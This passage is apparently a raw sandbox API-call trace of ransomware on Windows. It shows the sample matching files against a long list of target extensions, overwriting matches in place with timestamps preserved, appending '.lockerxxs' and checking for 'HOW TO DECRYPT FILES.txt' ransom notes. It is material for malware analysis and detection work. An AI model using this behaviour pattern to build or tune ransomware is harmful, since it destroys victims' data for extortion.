(lpString="*.ost") returned 5 [0065.967] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV", pszSpec="*.idx") returned 0 [0065.967] lstrlenA (lpString="*.idx") returned 5 [0065.967] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV", pszSpec="*.dbx") returned 0 [0065.967] lstrlenA (lpString="*.dbx") returned 5 [0065.967] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV", pszSpec="*.sql") returned 0 [0065.968] lstrlenA (lpString="*.sql") returned 5 [0065.968] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV", pszSpec="*.mdb") returned 0 [0065.968] lstrlenA (lpString="*.mdb") returned 5 [0065.968] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV", pszSpec="*.fdb") returned 0 [0065.968] lstrlenA (lpString="*.fdb") returned 5 [0065.968] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV", pszSpec="*.wab") returned 0 [0065.968] lstrlenA (lpString="*.wab") returned 5 [0065.968] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV", pszSpec="*.dat") returned 0 [0065.968] lstrlenA (lpString="*.dat") returned 5 [0065.968] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV", pszSpec="*.txt") returned 0 [0065.968] lstrlenA (lpString="*.txt") returned 5 [0065.968] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV", pszSpec="*.jpeg") returned 0 [0065.968] lstrlenA (lpString="*.jpeg") returned 6 [0065.968] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV", pszSpec="*.jpg") returned 0 [0065.968] lstrlenA (lpString="*.jpg") returned 5 [0065.968] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV", pszSpec="*.png") returned 0 [0065.968] lstrlenA (lpString="*.png") returned 5 [0065.968] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV", pszSpec="*.php") returned 0 [0065.968] lstrlenA (lpString="*.php") returned 5 [0065.968] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV", pszSpec="*.cs") returned 0 [0065.968] lstrlenA (lpString="*.cs") returned 4 [0065.968] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV", pszSpec="*.cpp") returned 0 [0065.968] lstrlenA (lpString="*.cpp") returned 5 [0065.968] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV", pszSpec="*.rar") returned 0 [0065.968] lstrlenA (lpString="*.rar") returned 5 [0065.968] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV", pszSpec="*.zip") returned 0 [0065.968] lstrlenA (lpString="*.zip") returned 5 [0065.968] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV", pszSpec="*.html") returned 0 [0065.969] lstrlenA (lpString="*.html") returned 6 [0065.969] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV", pszSpec="*.htm") returned 0 [0065.969] lstrlenA (lpString="*.htm") returned 5 [0065.969] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV", pszSpec="*.xlsx") returned 0 [0065.969] lstrlenA (lpString="*.xlsx") returned 6 [0065.969] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV", pszSpec="*.xls") returned 0 [0065.969] lstrlenA (lpString="*.xls") returned 5 [0065.969] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV", pszSpec="*.mp4") returned 0 [0065.969] lstrlenA (lpString="*.mp4") returned 5 [0065.969] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV", pszSpec="*.ppt") returned 0 [0065.969] lstrlenA (lpString="*.ppt") returned 5 [0065.969] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV", pszSpec="*.pptx") returned 0 [0065.969] lstrlenA (lpString="*.pptx") returned 6 [0065.969] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV", pszSpec="*.doc") returned 0 [0065.969] lstrlenA (lpString="*.doc") returned 5 [0065.969] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV", pszSpec="*.dot") returned 0 [0065.969] lstrlenA (lpString="*.dot") returned 5 [0065.980] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV", pszSpec="*.docx") returned 0 [0065.980] lstrlenA (lpString="*.docx") returned 6 [0065.980] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV", pszSpec="*.7z") returned 0 [0065.980] lstrlenA (lpString="*.7z") returned 4 [0065.980] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV", pszSpec="*.tar") returned 0 [0065.980] lstrlenA (lpString="*.tar") returned 5 [0065.980] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV", pszSpec="*.bz2") returned 0 [0065.980] lstrlenA (lpString="*.bz2") returned 5 [0065.980] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV", pszSpec="*.gz") returned 0 [0065.980] lstrlenA (lpString="*.gz") returned 4 [0065.980] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV", pszSpec="*.mkv") returned 0 [0065.980] lstrlenA (lpString="*.mkv") returned 5 [0065.980] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV", pszSpec="*.eml") returned 0 [0065.980] lstrlenA (lpString="*.eml") returned 5 [0065.980] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV", pszSpec="*.msg") returned 0 [0065.980] lstrlenA (lpString="*.msg") returned 5 [0065.981] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV", pszSpec="*.edb") returned 0 [0065.981] lstrlenA (lpString="*.edb") returned 5 [0065.981] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV", pszSpec="*.accdb") returned 0 [0065.981] lstrlenA (lpString="*.accdb") returned 7 [0065.981] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV", pszSpec="*.odb") returned 0 [0065.981] lstrlenA (lpString="*.odb") returned 5 [0065.981] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV", pszSpec="*.java") returned 0 [0065.981] lstrlenA (lpString="*.java") returned 6 [0065.981] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV", pszSpec="*.asm") returned 0 [0065.981] lstrlenA (lpString="*.asm") returned 5 [0065.981] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV", pszSpec="*.pfx") returned 0 [0065.981] lstrlenA (lpString="*.pfx") returned 5 [0065.981] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV", pszSpec="*.pem") returned 0 [0065.981] lstrlenA (lpString="*.pem") returned 5 [0065.981] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV", pszSpec="*.p12") returned 0 [0065.981] lstrlenA (lpString="*.p12") returned 5 [0065.981] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV", pszSpec="*.gpg") returned 0 [0065.981] lstrlenA (lpString="*.gpg") returned 5 [0065.981] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV", pszSpec="*.vsd") returned 0 [0065.981] lstrlenA (lpString="*.vsd") returned 5 [0065.981] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV", pszSpec="*.odg") returned 0 [0065.981] lstrlenA (lpString="*.odg") returned 5 [0065.981] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV", pszSpec="*.raw") returned 0 [0065.981] lstrlenA (lpString="*.raw") returned 5 [0065.981] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV", pszSpec="*.nef") returned 0 [0065.981] lstrlenA (lpString="*.nef") returned 5 [0065.981] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV", pszSpec="*.svg") returned 0 [0065.981] lstrlenA (lpString="*.svg") returned 5 [0065.981] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV", pszSpec="*.psd") returned 0 [0065.981] lstrlenA (lpString="*.psd") returned 5 [0065.982] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV", pszSpec="*.vmx") returned 0 [0065.982] lstrlenA (lpString="*.vmx") returned 5 [0065.982] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV", pszSpec="*.vmdk") returned 0 [0065.982] lstrlenA (lpString="*.vmdk") returned 6 [0065.982] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV", pszSpec="*.vdi") returned 0 [0065.982] lstrlenA (lpString="*.vdi") returned 5 [0065.982] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV", pszSpec="*.lay6") returned 0 [0065.982] lstrlenA (lpString="*.lay6") returned 6 [0065.982] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV", pszSpec="*.mpeg") returned 0 [0065.982] lstrlenA (lpString="*.mpeg") returned 6 [0065.982] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV", pszSpec="*.djvu") returned 0 [0065.982] lstrlenA (lpString="*.djvu") returned 6 [0065.982] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV", pszSpec="*.tiff") returned 0 [0065.982] lstrlenA (lpString="*.tiff") returned 6 [0065.982] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV", pszSpec="*.backup") returned 0 [0065.982] lstrlenA (lpString="*.backup") returned 8 [0065.982] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV", pszSpec="*.pdf") returned 0 [0065.982] lstrlenA (lpString="*.pdf") returned 5 [0065.982] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV", pszSpec="*.cert") returned 0 [0065.982] lstrlenA (lpString="*.cert") returned 6 [0065.982] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV", pszSpec="*.docm") returned 0 [0065.982] lstrlenA (lpString="*.docm") returned 6 [0065.982] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV", pszSpec="*.xlsm") returned 0 [0065.982] lstrlenA (lpString="*.xlsm") returned 6 [0065.982] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV", pszSpec="*.dwg") returned 0 [0065.982] lstrlenA (lpString="*.dwg") returned 5 [0065.982] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV", pszSpec="*.nd") returned 0 [0065.982] lstrlenA (lpString="*.nd") returned 4 [0065.982] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV", pszSpec="*.tlg") returned 0 [0065.982] lstrlenA (lpString="*.tlg") returned 5 [0065.982] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV", pszSpec="*.lgb") returned 0 [0065.982] lstrlenA (lpString="*.lgb") returned 5 [0065.982] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV", pszSpec="*.mov") returned 0 [0065.982] lstrlenA (lpString="*.mov") returned 5 [0065.982] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV", pszSpec="*.xdw") returned 0 [0065.982] lstrlenA (lpString="*.xdw") returned 5 [0065.983] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV", pszSpec="*.ods") returned 0 [0065.983] lstrlenA (lpString="*.ods") returned 5 [0065.983] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV", pszSpec="*.wav") returned 1 [0065.983] lstrlenA (lpString="*.wav") returned 5 [0065.983] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV" [0065.983] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV" [0065.983] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV", lpString2="." | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV.") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV." [0065.983] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV.lockerxxs") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV.lockerxxs" [0065.983] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\bomb.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0065.983] GetFileSize (in: hFile=0x8c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x2f676 [0065.983] GetFileTime (in: hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x90776900, dwHighDateTime=0x1bfbeeb), lpLastAccessTime=0x407536*(dwLowDateTime=0x51a15810, dwHighDateTime=0x1d301bf), lpLastWriteTime=0x40753e*(dwLowDateTime=0x90776900, dwHighDateTime=0x1bfbeeb)) returned 1 [0065.983] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0065.983] ReadFile (in: hFile=0x8c, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x2f650, lpOverlapped=0x0) returned 1 [0065.987] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV") returned="BOMB.WAV" [0065.988] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0065.988] WriteFile (in: hFile=0x8c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x2f650, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x2f650, lpOverlapped=0x0) returned 1 [0065.989] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0065.989] CloseHandle (hObject=0x8c) returned 1 [0065.993] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\bomb.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\media\\bomb.wav.lockerxxs")) returned 1 [0065.993] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x106db200, ftCreationTime.dwHighDateTime=0x1bfc6e8, ftLastAccessTime.dwLowDateTime=0x6003c730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x106db200, ftLastWriteTime.dwHighDateTime=0x1bfc6e8, nFileSizeHigh=0x0, nFileSizeLow=0x10c2, dwReserved0=0x3000003, dwReserved1=0x4f6000, cFileName="BREEZE.WAV", cAlternateFileName="")) returned 1 [0065.993] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0065.994] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BREEZE.WAV") returned 1 [0065.994] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BREEZE.WAV") returned 1 [0065.994] lstrcmpiA (lpString1="", lpString2="BREEZE.WAV") returned -1 [0065.994] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV") returned="BOMB.WAV" [0065.994] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" [0065.994] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\") returned="" [0065.994] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\HOW TO DECRYPT FILES.txt" [0065.994] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\media\\how to decrypt files.txt")) returned 0x20 [0065.994] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\", lpString2="BREEZE.WAV" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV" [0065.994] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV", pszSpec="*.ems") returned 0 [0065.994] lstrlenA (lpString="*.ems") returned 5 [0065.994] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV", pszSpec="*.db") returned 0 [0065.994] lstrlenA (lpString="*.db") returned 4 [0065.994] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV", pszSpec="*.dbf") returned 0 [0065.994] lstrlenA (lpString="*.dbf") returned 5 [0065.994] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV", pszSpec="*.myox") returned 0 [0065.994] lstrlenA (lpString="*.myox") returned 6 [0065.994] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV", pszSpec="*.myo") returned 0 [0065.994] lstrlenA (lpString="*.myo") returned 5 [0065.995] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV", pszSpec="*.qbw") returned 0 [0065.995] lstrlenA (lpString="*.qbw") returned 5 [0065.995] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV", pszSpec="*.qbb") returned 0 [0065.995] lstrlenA (lpString="*.qbb") returned 5 [0065.995] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV", pszSpec="*.qbm") returned 0 [0065.995] lstrlenA (lpString="*.qbm") returned 5 [0065.995] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV", pszSpec="*.qbo") returned 0 [0065.995] lstrlenA (lpString="*.qbo") returned 5 [0065.995] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV", pszSpec="*.qbx") returned 0 [0065.995] lstrlenA (lpString="*.qbx") returned 5 [0065.995] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV", pszSpec="*.qba") returned 0 [0065.995] lstrlenA (lpString="*.qba") returned 5 [0065.995] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV", pszSpec="*.qby") returned 0 [0065.995] lstrlenA (lpString="*.qby") returned 5 [0065.995] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV", pszSpec="*.qbj") returned 0 [0065.995] lstrlenA (lpString="*.qbj") returned 5 [0065.995] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV", pszSpec="*.ofx") returned 0 [0065.995] lstrlenA (lpString="*.ofx") returned 5 [0065.995] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV", pszSpec="*.qif") returned 0 [0065.995] lstrlenA (lpString="*.qif") returned 5 [0065.995] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV", pszSpec="*.mye") returned 0 [0065.996] lstrlenA (lpString="*.mye") returned 5 [0065.996] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV", pszSpec="*.mbox") returned 0 [0065.996] lstrlenA (lpString="*.mbox") returned 6 [0065.996] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV", pszSpec="*.eml") returned 0 [0065.996] lstrlenA (lpString="*.eml") returned 5 [0065.996] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV", pszSpec="*.pst") returned 0 [0065.996] lstrlenA (lpString="*.pst") returned 5 [0065.996] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV", pszSpec="*.ost") returned 0 [0065.996] lstrlenA (lpString="*.ost") returned 5 [0065.996] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV", pszSpec="*.idx") returned 0 [0065.996] lstrlenA (lpString="*.idx") returned 5 [0065.996] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV", pszSpec="*.dbx") returned 0 [0065.996] lstrlenA (lpString="*.dbx") returned 5 [0065.996] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV", pszSpec="*.sql") returned 0 [0065.996] lstrlenA (lpString="*.sql") returned 5 [0065.996] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV", pszSpec="*.mdb") returned 0 [0065.996] lstrlenA (lpString="*.mdb") returned 5 [0065.996] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV", pszSpec="*.fdb") returned 0 [0065.996] lstrlenA (lpString="*.fdb") returned 5 [0065.996] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV", pszSpec="*.wab") returned 0 [0065.997] lstrlenA (lpString="*.wab") returned 5 [0065.997] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV", pszSpec="*.dat") returned 0 [0065.997] lstrlenA (lpString="*.dat") returned 5 [0065.997] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV", pszSpec="*.txt") returned 0 [0065.997] lstrlenA (lpString="*.txt") returned 5 [0065.997] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV", pszSpec="*.jpeg") returned 0 [0065.997] lstrlenA (lpString="*.jpeg") returned 6 [0065.997] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV", pszSpec="*.jpg") returned 0 [0065.997] lstrlenA (lpString="*.jpg") returned 5 [0065.997] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV", pszSpec="*.png") returned 0 [0065.997] lstrlenA (lpString="*.png") returned 5 [0065.997] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV", pszSpec="*.php") returned 0 [0065.997] lstrlenA (lpString="*.php") returned 5 [0065.997] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV", pszSpec="*.cs") returned 0 [0065.997] lstrlenA (lpString="*.cs") returned 4 [0065.998] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV", pszSpec="*.cpp") returned 0 [0065.998] lstrlenA (lpString="*.cpp") returned 5 [0065.998] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV", pszSpec="*.rar") returned 0 [0065.998] lstrlenA (lpString="*.rar") returned 5 [0065.998] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV", pszSpec="*.zip") returned 0 [0065.998] lstrlenA (lpString="*.zip") returned 5 [0065.998] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV", pszSpec="*.html") returned 0 [0065.998] lstrlenA (lpString="*.html") returned 6 [0065.998] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV", pszSpec="*.htm") returned 0 [0065.998] lstrlenA (lpString="*.htm") returned 5 [0065.998] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV", pszSpec="*.xlsx") returned 0 [0065.998] lstrlenA (lpString="*.xlsx") returned 6 [0065.998] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV", pszSpec="*.xls") returned 0 [0065.998] lstrlenA (lpString="*.xls") returned 5 [0065.999] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV", pszSpec="*.mp4") returned 0 [0065.999] lstrlenA (lpString="*.mp4") returned 5 [0065.999] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV", pszSpec="*.ppt") returned 0 [0065.999] lstrlenA (lpString="*.ppt") returned 5 [0065.999] PathMatchSpecA (pszFile="C:\\Program 